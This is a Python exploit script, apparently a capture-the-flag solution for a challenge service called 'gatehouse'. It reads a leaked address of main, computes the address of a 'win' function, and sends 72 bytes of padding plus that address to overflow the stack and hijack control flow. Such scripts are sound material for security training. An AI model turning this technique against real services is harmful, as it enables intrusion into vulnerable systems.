import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]


def until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        chunk = sock.recv(1)
        if not chunk:
            raise ConnectionError("gatehouse closed the connection")
        data.extend(chunk)
    return bytes(data)


def main():
    host, port = sys.argv[1], int(sys.argv[2])
    with socket.create_connection((host, port), timeout=3) as sock:
        leak = until(sock, b"\n").strip()
        if not leak.startswith(b"main: "):
            raise ValueError(leak)
        main_addr = int(leak.split()[-1], 16)
        base = main_addr - 0x1260
        win = base + 0x11b9
        print("main", hex(main_addr), "win", hex(win))
        until(sock, b"entry> ")
        sock.sendall(b"A" * 72 + p64(win) + b"\n")
        print(until(sock, b"\n").decode(errors="replace").strip())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 gatehouse.py HOST PORT")
    main()
